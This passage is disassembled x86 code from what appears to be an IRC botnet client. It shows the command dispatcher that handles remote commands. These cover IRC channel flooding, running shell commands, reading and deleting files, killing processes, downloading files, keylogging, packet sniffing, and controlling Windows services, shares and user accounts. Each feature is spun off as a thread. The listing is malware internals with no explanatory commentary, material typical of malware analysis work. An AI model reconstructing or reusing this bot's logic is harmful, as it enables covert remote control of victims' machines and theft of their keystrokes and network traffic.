jz loc_40515F
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
push offset aCyber ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 24h
call sub_41BF92
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; dword_427064
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 10h
call sub_41BF92
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; dword_427064
push offset aCyber ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 24h
call sub_41BF92
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi ; dword_427064
push offset aCyber ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
loc_40515F: ; CODE XREF: .nsp0:00405029j
; .nsp0:00405036j
push dword ptr [ebp+18h]
push offset dword_432128
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_4051F9
cmp [ebp+esi-88h], ebx
jz short loc_4051F9
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
pop ecx
call sub_41BF92
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BF92
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BF92
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BF92
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BF92
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp-2C0h]
push edx
push dword ptr [ebp+esi-88h]
push offset dword_432100
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 24h
loc_4051F9: ; CODE XREF: .nsp0:00405170j
; .nsp0:0040517Dj
push dword ptr [ebp+18h]
push offset aNick_0 ; "nick"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_4052F6
mov eax, [ebp+esi-88h]
cmp eax, ebx
jz loc_4052F6
push eax
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
lea eax, [ebp-4BCh]
push eax
call sub_4180E3
lea eax, [ebp-4BCh]
push eax
lea eax, [ebp-2C0h]
push offset dword_432138
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 24h
call sub_41BF92
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; dword_427064
lea eax, [ebp-4BCh]
push eax
call sub_4180E3
lea eax, [ebp-4BCh]
push eax
lea eax, [ebp-2C0h]
push offset dword_432138
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
call sub_41BF92
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi ; dword_427064
lea eax, [ebp-4BCh]
push eax
call sub_4180E3
lea eax, [ebp-4BCh]
push eax
lea eax, [ebp-2C0h]
push offset dword_432138
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
loc_4052F6: ; CODE XREF: .nsp0:0040520Aj
; .nsp0:00405219j
push dword ptr [ebp+18h]
push offset aChgnick ; "chgnick"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40533C
lea eax, [ebp-1808h]
push eax
call sub_4180E3
lea eax, [ebp-1808h]
push eax
lea eax, [ebp-2C0h]
push offset dword_432138
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
loc_40533C: ; CODE XREF: .nsp0:00405307j
push dword ptr [ebp+18h]
push offset aMsg ; "msg"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_405428
cmp [ebp+esi-88h], ebx
jz loc_405428
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_4321C0
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 24h
call sub_41BF92
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; dword_427064
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_4321C0
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
call sub_41BF92
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; dword_427064
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_4321C0
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
loc_405428: ; CODE XREF: .nsp0:0040534Dj
; .nsp0:0040535Aj
push dword ptr [ebp+18h]
push offset aNotice_0 ; "notice"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_405514
cmp [ebp+esi-88h], ebx
jz loc_405514
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 24h
call sub_41BF92
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; dword_427064
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
call sub_41BF92
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; dword_427064
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
loc_405514: ; CODE XREF: .nsp0:00405439j
; .nsp0:00405446j
push dword ptr [ebp+18h]
push offset aCtcp ; "ctcp"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_405628
cmp [ebp+esi-88h], ebx
jz loc_405628
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_4320B8
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 20h
call sub_41BF92
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; dword_427064
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_4320A0
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 10h
call sub_41BF92
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; dword_427064
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_432088
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 10h
call sub_41BF92
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; dword_427064
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_432088
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 10h
loc_405628: ; CODE XREF: .nsp0:00405525j
; .nsp0:00405532j
push dword ptr [ebp+18h]
push offset aMix ; "mix"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40574B
cmp [ebp+esi-88h], ebx
jz loc_40574B
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_4320B8
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 20h
call sub_41BF92
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; dword_427064
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
call sub_41BF92
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; dword_427064
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
call sub_41BF92
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; dword_427064
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
loc_40574B: ; CODE XREF: .nsp0:00405639j
; .nsp0:00405646j
push dword ptr [ebp+18h]
push offset aRegister ; "register"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_405791
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_405791
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41BF36
lea eax, [ebp-2C0h]
push eax
call sub_417D85
add esp, 14h
loc_405791: ; CODE XREF: .nsp0:0040575Cj
; .nsp0:00405767j
push dword ptr [ebp+18h]
push offset aOff ; "off"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40624A
mov edi, offset dword_4DA28C
loc_4057AD: ; CODE XREF: .nsp0:004057CCj
cmp dword ptr [edi-4], 1
jnz short loc_4057C0
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057C0
push eax
call dword_4D1288 ; closesocket
loc_4057C0: ; CODE XREF: .nsp0:004057B1j
; .nsp0:004057B7j
add edi, 210h
cmp edi, offset dword_4E09AC
jl short loc_4057AD
cmp [ebp-8], ebx
jnz loc_40624A
push ebx
push dword ptr [ebp-4]
push offset unk_432028
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4099D2
add esp, 14h
jmp loc_40624A
; ---------------------------------------------------------------------------
loc_4057F6: ; CODE XREF: .nsp0:00404CA5j
mov edi, [ebp+10h]
push edi
push offset aNick_0 ; "nick"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4096C8
push edi
push offset aN ; "n"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4096C8
push edi
push offset aJoin ; "join"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4096A4
push edi
push offset aJ ; "j"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4096A4
push edi
push offset aPart_0 ; "part"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409687
push edi
push offset aPt ; "pt"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409687
push edi
push offset aRaw ; "raw"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40964E
push edi
push offset aR ; "r"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40964E
push edi
push offset aKillthread ; "killthread"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40954E
push edi
push offset aK ; "k"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40954E
push edi
push offset aC_quit ; "c_quit"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4094A0
push edi
push offset aC_q ; "c_q"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4094A0
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409451
push edi
push offset aC_rn ; "c_rn"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409451
push edi
push offset aPrefix ; "prefix"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409438
push edi
push offset aPr ; "pr"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409438
push edi
push offset aOpen ; "open"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40940A
push edi
push offset aO ; "o"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_40940A
push edi
push offset aServer ; "server"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4093E1
push edi
push offset aSe ; "se"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4093E1
push edi
push offset aDns ; "dns"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409376
push edi
push offset aDn ; "dn"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409376
push edi
push offset aKillproc ; "killproc"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409346
push edi
push offset aKp ; "kp"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409346
push edi
push offset aKill ; "kill"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4092E7
push edi
push offset aKi ; "ki"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4092E7
push edi
push offset aDelete ; "delete"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4092AF
push edi
push offset aDel ; "del"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4092AF
push edi
push offset aGet ; "get"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4091CC
push edi
push offset aGt ; "gt"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4091CC
push edi
push offset aList ; "list"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4091AD
push edi
push offset aLi ; "li"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4091AD
push edi
push offset aVisit ; "visit"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4090BC
push edi
push offset aV ; "v"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_4090BC
push edi
push offset aMirccmd ; "mirccmd"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409046
push edi
push offset aMirc ; "mirc"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_409046
push edi
push offset aCmd ; "cmd"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408FF0
push edi
push offset aCm ; "cm"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408FF0
push edi
push offset aReadfile ; "readfile"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408F65
push edi
push offset aRf ; "rf"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz loc_408F65
push edi
push offset aPsniff ; "psniff"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_405C90
push dword ptr [ebp+18h]
push offset aOn ; "on"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_405C56
push 20h
call sub_40B256
test eax, eax
pop ecx
jle short loc_405B83
push offset dword_431F58
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_405B83: ; CODE XREF: .nsp0:00405B77j
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-88h]
mov [ebp-0EC4h], eax
mov eax, [ebp-4]
mov [ebp-0E3Ch], eax
mov eax, [ebp-8]
cmp esi, ebx
mov [ebp-0E38h], eax
jnz short loc_405BC5
mov esi, offset aM_0 ; "#M"
push offset byte_443398
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_405BC5
mov esi, [ebp-88h]
loc_405BC5: ; CODE XREF: .nsp0:00405BA7j
; .nsp0:00405BBDj
push esi
lea eax, [ebp-0EC0h]
push 80h
push eax
call sub_41C030
lea eax, [ebp-2C0h]
push offset dword_431F28
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 20h
push eax
call sub_40B00E
add esp, 20h
mov [ebp-0E40h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0EC4h]
push ebx
push eax
push offset loc_4125D7
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-0E40h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_405C45
loc_405C2F: ; CODE XREF: .nsp0:00405C43j
cmp [ebp-0E34h], ebx
jnz loc_40820E
push 32h
call dword_427064 ; Sleep
jmp short loc_405C2F
; ---------------------------------------------------------------------------
loc_405C45: ; CODE XREF: .nsp0:00405C2Dj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_431EEC
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_405C56: ; CODE XREF: .nsp0:00405B67j
push dword ptr [ebp+18h]
push offset aOff ; "off"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40820E
push ebx
push 20h
call sub_40B209
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C86
push eax
push offset dword_431EB0
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_405C86: ; CODE XREF: .nsp0:00405C79j
push offset dword_431E84
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_405C90: ; CODE XREF: .nsp0:00405B50j
push edi
push offset aSniffer ; "sniffer"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_405DDF
push dword ptr [ebp+18h]
push offset aOn ; "on"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_405DA5
push 21h
call sub_40B256
test eax, eax
pop ecx
jle short loc_405CD2
push offset unk_431E5C
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_405CD2: ; CODE XREF: .nsp0:00405CC6j
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-88h]
mov [ebp-0FECh], eax
mov eax, [ebp-4]
mov [ebp-0F64h], eax
mov eax, [ebp-8]
cmp esi, ebx
mov [ebp-0F60h], eax
jnz short loc_405D14
mov esi, offset aM_0 ; "#M"
push offset byte_443398
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_405D14
mov esi, [ebp-88h]
loc_405D14: ; CODE XREF: .nsp0:00405CF6j
; .nsp0:00405D0Cj
push esi
lea eax, [ebp-0FE8h]
push 80h
push eax
call sub_41C030
lea eax, [ebp-2C0h]
push offset unk_431E2C
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 21h
push eax
call sub_40B00E
add esp, 20h
mov [ebp-0F68h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0FECh]
push ebx
push eax
push offset loc_412C62
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-0F68h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_405D94
loc_405D7E: ; CODE XREF: .nsp0:00405D92j
cmp [ebp-0F5Ch], ebx
jnz loc_40820E
push 32h
call dword_427064 ; Sleep
jmp short loc_405D7E
; ---------------------------------------------------------------------------
loc_405D94: ; CODE XREF: .nsp0:00405D7Cj
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset unk_431DF0
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_405DA5: ; CODE XREF: .nsp0:00405CB6j
push dword ptr [ebp+18h]
push offset aOff ; "off"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40820E
push ebx
push 21h
call sub_40B209
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DD5
push eax
push offset unk_431DB0
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_405DD5: ; CODE XREF: .nsp0:00405DC8j
push offset unk_431D80
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_405DDF: ; CODE XREF: .nsp0:00405C9Fj
push edi
push offset aKeylog ; "keylog"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_405F59
push dword ptr [ebp+18h]
push offset aOn ; "on"
call sub_41C710
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405E55
push dword ptr [ebp+18h]
push edi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_405E55
push dword ptr [ebp+18h]
push offset aOff ; "off"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40820E
push ebx
push 23h
call sub_40B209
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E4B
push eax
push offset dword_431D3C
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_405E4B: ; CODE XREF: .nsp0:00405E3Ej
push offset dword_431D10
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_405E55: ; CODE XREF: .nsp0:00405E0Aj
; .nsp0:00405E19j
push 23h
call sub_40B256
test eax, eax
pop ecx
jle short loc_405E6B
push offset dword_431CF0
jmp loc_406E94
; ---------------------------------------------------------------------------
loc_405E6B: ; CODE XREF: .nsp0:00405E5Fj
mov eax, [ebp+0Ch]
push dword ptr [ebp+18h]
mov [ebp-0C5Ch], eax
mov eax, [ebp-4]
push edi
mov [ebp-0BD4h], eax
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_405E98
mov dword ptr [ebp-0BD0h], 1
jmp short loc_405EA1
; ---------------------------------------------------------------------------
loc_405E98: ; CODE XREF: .nsp0:00405E8Aj
mov eax, [ebp-8]
mov [ebp-0BD0h], eax
loc_405EA1: ; CODE XREF: .nsp0:00405E96j
mov esi, [ebp+esi-88h]
cmp esi, ebx
jnz short loc_405EC8
mov esi, offset aM ; "#M"
push offset byte_443398
push esi
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_405EC8
mov esi, [ebp-88h]
loc_405EC8: ; CODE XREF: .nsp0:00405EAAj
; .nsp0:00405EC0j
push esi
lea eax, [ebp-0C54h]
push 80h
push eax
call sub_41C030
lea eax, [ebp-2C0h]
push offset dword_431CCC
push eax
call sub_41BF36
push ebx
lea eax, [ebp-2C0h]
push 23h
push eax
call sub_40B00E
add esp, 20h
mov [ebp-0C58h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0C5Ch]
push ebx
push eax
push offset loc_4122F6
push ebx
push ebx
call dword_42707C ; CreateThread
mov ecx, [ebp-0C58h]
imul ecx, 234h
cmp eax, ebx
mov dword_444134[ecx], eax
jz short loc_405F48
loc_405F32: ; CODE XREF: .nsp0:00405F46j
cmp [ebp-0BCCh], ebx
jnz loc_40820E
push 32h
call dword_427064 ; Sleep
jmp short loc_405F32
; ---------------------------------------------------------------------------
loc_405F48: ; CODE XREF: .nsp0:00405F30j
call dword_42708C ; RtlGetLastWin32Error
push eax
push offset dword_431C90
jmp loc_406E7B
; ---------------------------------------------------------------------------
loc_405F59: ; CODE XREF: .nsp0:00405DEEj
push edi
push offset aNet ; "net"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_4061F6
cmp dword_4D12C0, ebx
jz short loc_405F88
cmp dword_4D12E8, ebx
jz short loc_405F88
push offset unk_431C58
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_405F88: ; CODE XREF: .nsp0:00405F74j
; .nsp0:00405F7Cj
cmp [ebp-0Ch], ebx
jz loc_406C65
mov edi, [ebp+esi-88h]
mov [ebp+8], ebx
cmp edi, ebx
jz short loc_405FAD
push edi
push dword ptr [ebp-0Ch]
call sub_41BFB0
pop ecx
mov [ebp+8], eax
pop ecx
loc_405FAD: ; CODE XREF: .nsp0:00405F9Dj
push dword ptr [ebp+18h]
push offset aStart ; "start"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_406014
cmp edi, ebx
jz short loc_405FE8
push dword ptr [ebp+8]
push 3
loc_405FC9: ; CODE XREF: .nsp0:0040602Cj
; .nsp0:00406046j ...
call sub_418F5A
push eax
lea eax, [ebp-2C0h]
push offset aS_2 ; "%s"
push eax
call sub_41BF36
add esp, 14h
jmp loc_406C65
; ---------------------------------------------------------------------------
loc_405FE8: ; CODE XREF: .nsp0:00405FC2j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_419201
add esp, 0Ch
test eax, eax
jz short loc_40600A
push offset unk_431C34
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_40600A: ; CODE XREF: .nsp0:00405FFEj
push offset unk_431C14
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_406014: ; CODE XREF: .nsp0:00405FBEj
push dword ptr [ebp+18h]
push offset aStop ; "stop"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_40602E
push dword ptr [ebp+8]
push 4
jmp short loc_405FC9
; ---------------------------------------------------------------------------
loc_40602E: ; CODE XREF: .nsp0:00406025j
push dword ptr [ebp+18h]
push offset aPause ; "pause"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_406048
push dword ptr [ebp+8]
push 5
jmp short loc_405FC9
; ---------------------------------------------------------------------------
loc_406048: ; CODE XREF: .nsp0:0040603Fj
push dword ptr [ebp+18h]
push offset aContinue ; "continue"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_406065
push dword ptr [ebp+8]
push 6
jmp loc_405FC9
; ---------------------------------------------------------------------------
loc_406065: ; CODE XREF: .nsp0:00406059j
push dword ptr [ebp+18h]
push offset aDelete ; "delete"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_406082
push dword ptr [ebp+8]
push 1
jmp loc_405FC9
; ---------------------------------------------------------------------------
loc_406082: ; CODE XREF: .nsp0:00406076j
push dword ptr [ebp+18h]
push offset aShare ; "share"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_4060FC
cmp edi, ebx
jz short loc_4060CF
cmp [ebp-8FCh], bl
jz short loc_4060A7
push ebx
push edi
push 1
jmp short loc_4060B0
; ---------------------------------------------------------------------------
loc_4060A7: ; CODE XREF: .nsp0:0040609Fj
push dword ptr [ebp+esi-84h]
push edi
push ebx
loc_4060B0: ; CODE XREF: .nsp0:004060A5j
call sub_41933E
push eax
lea eax, [ebp-2C0h]
push offset aS_2 ; "%s"
push eax
call sub_41BF36
add esp, 18h
jmp loc_406C65
; ---------------------------------------------------------------------------
loc_4060CF: ; CODE XREF: .nsp0:00406097j
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_419533
add esp, 10h
test eax, eax
jz short loc_4060F2
push offset unk_431BD8
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_4060F2: ; CODE XREF: .nsp0:004060E6j
push offset unk_431BB8
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_4060FC: ; CODE XREF: .nsp0:00406093j
push dword ptr [ebp+18h]
push offset aUser ; "user"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz loc_40619D
cmp edi, ebx
jz short loc_406170
cmp [ebp-8FCh], bl
jz short loc_406131
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
push ebx
push edi
push 1
jmp short loc_406151
; ---------------------------------------------------------------------------
loc_406131: ; CODE XREF: .nsp0:0040611Dj
push dword ptr [ebp-4]
mov esi, [ebp+esi-84h]
cmp esi, ebx
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
jz short loc_40614D
push esi
push edi
push ebx
jmp short loc_406151
; ---------------------------------------------------------------------------
loc_40614D: ; CODE XREF: .nsp0:00406146j
push ebx
push edi
push 2
loc_406151: ; CODE XREF: .nsp0:0040612Fj
; .nsp0:0040614Bj
call sub_419654
push eax
lea eax, [ebp-2C0h]
push offset aS_2 ; "%s"
push eax
call sub_41BF36
add esp, 24h
jmp loc_406C65
; ---------------------------------------------------------------------------
loc_406170: ; CODE XREF: .nsp0:00406115j
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_419B68
add esp, 10h
test eax, eax
jz short loc_406193
push offset unk_431B90
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_406193: ; CODE XREF: .nsp0:00406187j
push offset unk_431B70
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_40619D: ; CODE XREF: .nsp0:0040610Dj
push dword ptr [ebp+18h]
push offset aSend ; "send"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_4061EC
cmp edi, ebx
jz short loc_4061E2
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call loc_419E1C
push eax
lea eax, [ebp-2C0h]
push offset aS_2 ; "%s"
push eax
call sub_41BF36
add esp, 1Ch
jmp loc_406C65
; ---------------------------------------------------------------------------
loc_4061E2: ; CODE XREF: .nsp0:004061B2j
push offset unk_431B44
jmp loc_40854F
; ---------------------------------------------------------------------------
loc_4061EC: ; CODE XREF: .nsp0:004061AEj
push offset unk_431B28
jmp loc_40854F
; ---------------------------------------------------------------------------
